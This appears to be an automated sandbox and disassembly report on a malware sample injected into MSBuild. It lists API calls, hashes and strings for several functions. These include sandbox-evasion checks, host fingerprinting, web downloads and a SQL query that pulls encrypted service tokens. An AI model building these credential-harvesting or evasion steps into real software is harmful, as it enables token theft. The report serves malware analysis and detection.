Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2886426298-3474575989
Opcode ID: 7e71b2cf3ab39a96845f2c5ec6281b05558ac3270fef8c112806fab1e15290c3
Instruction ID: 96825d9750bf8db03c9b3ba7d6dfdbb869a7567600a83181e99cf30d3b71d0f4
Opcode Fuzzy Hash: 7e71b2cf3ab39a96845f2c5ec6281b05558ac3270fef8c112806fab1e15290c3
Instruction Fuzzy Hash: CD210BB1E44218BBDB00DFD5CC49FAEB7B9FB45B14F104609F605BB280D77869018BA9

Function 0040BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00409E10: memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

lstrlenA.KERNEL32(00000000), ref: 0040BC9F

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 0040BCCD
lstrlenA.KERNEL32(00000000), ref: 0040BDA5
lstrlenA.KERNEL32(00000000), ref: 0040BDB9

Strings

AccountTokens, xrefs: 0040BB49
SELECT service, encrypted_token FROM token_service, xrefs: 0040BBEB
AccountId, xrefs: 0040BCC4
AccountTokens, xrefs: 0040BABA

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocalmemcmp
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 1440504306-1079375795
Opcode ID: 004e0db66be2d3a03ffd53c2b276bb91953d66d2390156e59a6c43dc22011545
Instruction ID: 1db97c5984eaf975dbf010622291b68d8c4d82df198c84c91f10bdfb5a5a1c79
Opcode Fuzzy Hash: 004e0db66be2d3a03ffd53c2b276bb91953d66d2390156e59a6c43dc22011545
Instruction Fuzzy Hash: 8CB19671911108ABDB04FBA1DD52EEE7339AF14314F40452EF506B2091EF386E99CBBA

Function 00404FB0 Relevance: 12.1, APIs: 8, Instructions: 82networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00404FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00404FD1
InternetOpenA.WININET(00420DDF,00000000,00000000,00000000,00000000), ref: 00404FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00405011
InternetReadFile.WININET(00415EDB,?,00000400,00000000), ref: 00405041
memcpy.MSVCRT(00000000,?,00000001), ref: 0040508A
InternetCloseHandle.WININET(00415EDB), ref: 004050B9
InternetCloseHandle.WININET(?), ref: 004050C6

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessReadmemcpy
String ID:
API String ID: 1008454911-0
Opcode ID: 6cf967ef785bb23c697623f5c6a033393d0fc44cd8035483208646c558320f55
Instruction ID: cb0899809939a0b3ab7ef321ba077ef70f04c27eec1e373fde9f1e9505320bf0
Opcode Fuzzy Hash: 6cf967ef785bb23c697623f5c6a033393d0fc44cd8035483208646c558320f55
Instruction Fuzzy Hash: 2A3108B8A40218ABDB20CF94DC85BDDB7B5EB48704F1081E9F709B7281C7746AC58F99

Function 004169F0 Relevance: 10.6, APIs: 7, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00419860: GetProcAddress.KERNEL32(75900000,013F32D0), ref: 004198A1
Part of subcall function 00419860: GetProcAddress.KERNEL32(75900000,013F32E8), ref: 004198BA
Part of subcall function 00419860: GetProcAddress.KERNEL32(75900000,013F3300), ref: 004198D2
Part of subcall function 00419860: GetProcAddress.KERNEL32(75900000,013F3318), ref: 004198EA
Part of subcall function 00419860: GetProcAddress.KERNEL32(75900000,013F3330), ref: 00419903
Part of subcall function 00419860: GetProcAddress.KERNEL32(75900000,013F3348), ref: 0041991B
Part of subcall function 00419860: GetProcAddress.KERNEL32(75900000,013F4490), ref: 00419933
Part of subcall function 00419860: GetProcAddress.KERNEL32(75900000,013F44B0), ref: 0041994C
Part of subcall function 00419860: GetProcAddress.KERNEL32(75900000,013F3358), ref: 00419964
Part of subcall function 00419860: GetProcAddress.KERNEL32(75900000,013F44D0), ref: 0041997C
Part of subcall function 00419860: GetProcAddress.KERNEL32(75900000,013F44E8), ref: 00419995
Part of subcall function 00419860: GetProcAddress.KERNEL32(75900000,013F04B0), ref: 004199AD
Part of subcall function 00419860: GetProcAddress.KERNEL32(75900000,013F04C8), ref: 004199C5
Part of subcall function 00419860: GetProcAddress.KERNEL32(75900000,013F7530), ref: 004199DE

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 004011D0: CreateDCA.GDI32(013F0598,00000000,00000000,00000000), ref: 004011E2
Part of subcall function 004011D0: GetDeviceCaps.GDI32(?,0000000A), ref: 004011F1
Part of subcall function 004011D0: ReleaseDC.USER32(00000000,?), ref: 00401200
Part of subcall function 004011D0: ExitProcess.KERNEL32 ref: 00401211

Part of subcall function 00401160: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00416A17,00420AEF), ref: 0040116A
Part of subcall function 00401160: ExitProcess.KERNEL32 ref: 0040117E

Part of subcall function 00401110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,00416A1C), ref: 0040112B
Part of subcall function 00401110: VirtualAllocExNuma.KERNEL32(00000000,?,?,00416A1C), ref: 00401132
Part of subcall function 00401110: ExitProcess.KERNEL32 ref: 00401143

Part of subcall function 00401220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401258
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401266
Part of subcall function 00401220: ExitProcess.KERNEL32 ref: 00401294

Part of subcall function 00416770: GetUserDefaultLangID.KERNEL32(?,?,00416A26,00420AEF), ref: 00416774

GetUserDefaultLCID.KERNEL32 ref: 00416A26

Part of subcall function 00401190: ExitProcess.KERNEL32 ref: 004011C6

Part of subcall function 00417850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417880
Part of subcall function 00417850: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417887
Part of subcall function 00417850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041789F

Part of subcall function 004178E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416A2B), ref: 00417910
Part of subcall function 004178E0: HeapAlloc.KERNEL32(00000000,?,?,?,00416A2B), ref: 00417917
Part of subcall function 004178E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0041792F

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,013F0578,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 00416ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416AE8
CloseHandle.KERNEL32(00000000), ref: 00416AF9
Sleep.KERNEL32(00001770), ref: 00416B04
CloseHandle.KERNEL32(?,00000000,?,013F0578,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 00416B1A
ExitProcess.KERNEL32 ref: 00416B22

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$AllocUserlstrcpy$CloseCreateDefaultEventHandleName__aulldiv$CapsComputerCurrentDeviceGlobalInfoLangMemoryNumaOpenReleaseSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 655105637-0
Opcode ID: d8804ea1bff6748de93bb0085dad6dc73f5e155af435cafa9a0d600a9b6efe0f
Instruction ID: 1c0ff58a553566d9d81a636820be0d4cb73d0efe44d476221655ae408a7450da
Opcode Fuzzy Hash: d8804ea1bff6748de93bb0085dad6dc73f5e155af435cafa9a0d600a9b6efe0f
Instruction Fuzzy Hash: E1317074940208AADB04FBF2DC56BEE7339AF04344F10042EF102A61D2DF7C6986C6AE

Function 004183DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00418426
wsprintfA.USER32 ref: 00418459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0041847B
RegCloseKey.ADVAPI32(00000000), ref: 0041848C
RegCloseKey.ADVAPI32(00000000), ref: 00418499

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

RegQueryValueExA.KERNEL32(00000000,01405D38,00000000,000F003F,?,00000400), ref: 004184EC
lstrlenA.KERNEL32(?), ref: 00418501
RegQueryValueExA.KERNEL32(00000000,01405D80,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00420B34), ref: 00418599
RegCloseKey.KERNEL32(00000000), ref: 00418608
RegCloseKey.ADVAPI32(00000000), ref: 0041861A

Strings

%s\%s, xrefs: 0041844D

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 2745a0ba8eb15d3c1f0b65b5c657a669296e82b89610ecc7bb468d10700aed3a
Instruction ID: cdbcbf4b9f8a1ecee5159c9abe2ba9d8dffcfa3e02281556f53420590b8fae77
Opcode Fuzzy Hash: 2745a0ba8eb15d3c1f0b65b5c657a669296e82b89610ecc7bb468d10700aed3a
Instruction Fuzzy Hash: 7B210A75940218AFDB24DB54DC85FE9B3B9FB48704F00C199E60996140DF756A85CFD4

Function 004047B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60stringnetworkCOMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

Strings

<, xrefs: 004047C9

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ??2@$CrackInternetlstrlen
String ID: <
API String ID: 1683549937-4251816714
Opcode ID: c386c9d0d73067ea41f4377aeaa2fd448281082c22fa9440fc98d6664c6993a8
Instruction ID: 59ffd934fb977a93d501bba2862ecb1df6a0defd032b503e5e890a78b3955a81
Opcode Fuzzy Hash: c386c9d0d73067ea41f4377aeaa2fd448281082c22fa9440fc98d6664c6993a8
Instruction Fuzzy Hash: 712149B5D00219ABDF10DFA5E849BDD7B74FF04320F008229F925A7290EB706A15CF95

Function 00417690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004176A4
HeapAlloc.KERNEL32(00000000), ref: 004176AB
RegOpenKeyExA.KERNEL32(80000002,01401258,00000000,00020119,00000000), ref: 004176DD
RegQueryValueExA.KERNEL32(00000000,01405D20,00000000,00000000,?,000000FF), ref: 004176FE
RegCloseKey.ADVAPI32(00000000), ref: 00417708

Strings

Windows 11, xrefs: 004176BD

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3466090806-2517555085
Opcode ID: 31b5ee67880bd1f967030e6ea3d78f3b54130d435c20b4c8c69cbeacade70eac
Instruction ID: 0438ef7ee9a5fbee92b010be2e89678c99e6505f2a73f727aa840deaa157456b
Opcode Fuzzy Hash: 31b5ee67880bd1f967030e6ea3d78f3b54130d435c20b4c8c69cbeacade70eac
Instruction Fuzzy Hash: E0018FBDA80204BFE700DBE0DD49FAEB7BDEB09700F004055FA05D7290E674A9408B55

Function 00417720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417734
HeapAlloc.KERNEL32(00000000), ref: 0041773B
RegOpenKeyExA.KERNEL32(80000002,01401258,00000000,00020119,004176B9), ref: 0041775B
RegQueryValueExA.KERNEL32(004176B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0041777A
RegCloseKey.ADVAPI32(004176B9), ref: 00417784

Strings

CurrentBuildNumber, xrefs: 00417771

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3466090806-1022791448
Opcode ID: 43a46ff31c4728249bb55ffe5b6c0263db84e810ad24588de6037cbf7116cf65
Instruction ID: 98fe8272c38af2577472084bebc30d651685970d5c5bfe2bd2220dad028592af
Opcode Fuzzy Hash: 43a46ff31c4728249bb55ffe5b6c0263db84e810ad24588de6037cbf7116cf65
Instruction Fuzzy Hash: 0F0144BDA80308BFE710DFE0DC49FAEB7B9EB44704F104159FA05A7281DA7455408F51

Function 004140B0 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004140D5
RegOpenKeyExA.KERNEL32(80000001,01405AE8,00000000,00020119,?), ref: 004140F4
RegQueryValueExA.ADVAPI32(?,01406128,00000000,00000000,00000000,000000FF), ref: 00414118
RegCloseKey.ADVAPI32(?), ref: 00414122
lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00414147
lstrcatA.KERNEL32(?,01406488), ref: 0041415B

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
